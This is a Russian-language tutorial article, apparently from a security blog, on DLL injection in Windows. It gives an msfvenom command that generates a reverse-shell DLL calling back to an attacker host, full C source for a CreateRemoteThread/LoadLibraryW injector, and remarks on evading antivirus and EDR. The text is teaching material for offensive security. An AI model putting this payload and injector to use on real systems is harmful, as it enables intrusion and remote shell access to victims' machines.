В этой статье мы продолжим тему инъекций кода и поговорим о том, как можно осуществлять инъекции кода с помощью DLL. Общая идеология будет та же, что и в предыдущей статье – с помощью инъекции запустить реверсивный шелл на машине жертвы, и получить доступ на нее. Но для начала давайте поговорим о том, что такое DLL и как с ними работать.

Динамические библиотеки

В современных операционных системах нормальной практикой является использование одних и тех же функций различными приложениями. Совершенно очевидно, что эти функции лучше поместить в динамические библиотеки, из которых приложения смогут к ним обращаться при необходимости. Для этого, собственно, и существуют Dynamic Link Library.

DLL — это библиотека, содержащая код и данные, которые могут использоваться несколькими программами одновременно. Например, в операционных системах Windows DLL-библиотека Comdlg32 выполняет общие функции, связанные с диалоговыми окнами. Каждая программа может использовать функции, содержащиеся в этой библиотеке DLL, для реализации диалогового окна Открыть. Это способствует повторному использованию кода и эффективному использованию памяти.

И хотя по своей сути DLL являются исполняемыми файлами, запустить их также, как выполнимый файл, невозможно. Для работы с DLL необходим специальный код, вызывающий их функции.

В контексте нашей сегодняшней задачи поговорим о еще одном инструменте ОС Windows – RunDll32. Системная утилита командной строки RunDll32 разработана для загрузки и запуска функций из 32/64-битных библиотек DLL. Тем не менее, ошибочно было бы считать, что утилита rundll32 является средством для "запуска DLL" по аналогии с исполняемым приложением.

Для вызова функций из DLL мы должны сначала загрузить нашу DLL с помощью утилиты RunDll32, а уже потом обратиться к нужным нам функциям. Собственно, в этом и состоит суть DLL инъекций.

Теперь давайте перейдем к делу.

Создаем свою DLL

Как и в случае с инъекцией процессов нам необходима полезная нагрузка, которую мы будем инжектировать. Конечно, мы могли бы написать собственную DLL самостоятельно, но проще прибегнуть к помощи msfvenom.

Синтаксис вызова этой утилиты будет несколько проще, в случае инъекции, описанной в первой статье. Здесь нам не нужно бороться с плохими байтами, так как мы не инжектируем код непосредственно в чужой процесс. Вместо этого мы просто запускаем DLL и нам совершенно неважно из каких байтов он состоит.

Напомню, нам нужен реверсивный шелл, то есть машина жертвы должна сама установить соединение с узлом злоумышленника. Соответственно LHOST это адрес атакующего, LPORT – порт, на котором он ожидает соединения. Формат выходного файла будет DLL.

Общий синтаксис будет следующим:

msfvenom -p windows/shell_reverse_tcp LHOST=IP_адрес_атакующего LPORT=порт_для_связи -f dll -o имя_файла.dll

Например: 

Принцип работы нашего сегодняшнего инжектора будет несколько отличаться от того, который мы использовали в предыдущей статье. Если ранее мы по сути копировали код в память процесса жертвы и там его запускали, то теперь мы инжектируем процесс rundll32 с запуском нашей DLL и вызовом из нее нужной функции. Далее мы вызываем функцию из нашего dll, которая и будет устанавливать реверс шелл с машиной злоумышленника.

Код нашего инжектора также несколько отличается от предыдущего примера. Здесь уже нет большого блока с полезной нагрузкой, который может вызвать подозрения у сигнатурного анализатора антивируса. Но, по сути, эта программа тоже содержит подозрительную активность, так как инжектирует запуск RunDll32 в процесс жертву.

Посмотрим исходный код. Для простоты у меня указан полный путь к файлу dll, хотя, конечно, это необязательно.

#include "stdafx.h"

#include "Windows.h"

 

int main(int argc, char *argv[]) {

                HANDLE processHandle;

                PVOID remoteBuffer;

                wchar_t dllPath[] = L"c:\\evil.dll";

                

                printf("Injecting DLL to PID: %i\n", atoi(argv[1]));

                processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

                remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);            

                WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);

                PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

                CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);

                CloseHandle(processHandle); 

                

                return 0;

}

Перед инъекцией надо не забыть запустить прослушивание порта на машине злоумышленника.

 

Ну и смотрим, что происходит с процессами на машине жертвы после осуществления нашей DLL инъекции.

Как в видно, основной процесс notepad.exe запустил дочерний Rundll32, который в свою очередь запустил cmd.exe из нашей dll.

В результате получаем шелл на машину жертвы с правами пользователя, запустившего Notepad.

Заключение

Использование DLL инъекций несколько усложняет выявление данных активностей средствами защиты. У нас нет в коде инжектора внедряемой сигнатуры, нам не надо бороться с плохими байтами, да и инжектируем мы RunDll32, который уже взаимодействует с целевой dll. Однако, само поведение процесса жертвы может выглядеть несколько подозрительным. Так средства EDR могут заподозрить неладное в поведении пользовательских процессов, когда калькулятор или тот же блокнот запустит Rundll, который в свою очередь породит еще один дочерний процесс cmd.exe.

В следующей статье мы поговорим об отраженных DLL инъекциях – технике, позволяющей обойти некоторые из ограничений уже описанных инъекций.

О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам.

Комментарии (1)


  1. gena_k
    21.09.2023 05:22

    UAC помешает незаметному выполнению?

    Ранее часто внедрял свой код через замену одной из требуемых dll на собственную. Сейчас этот способ можно провернуть незаметно?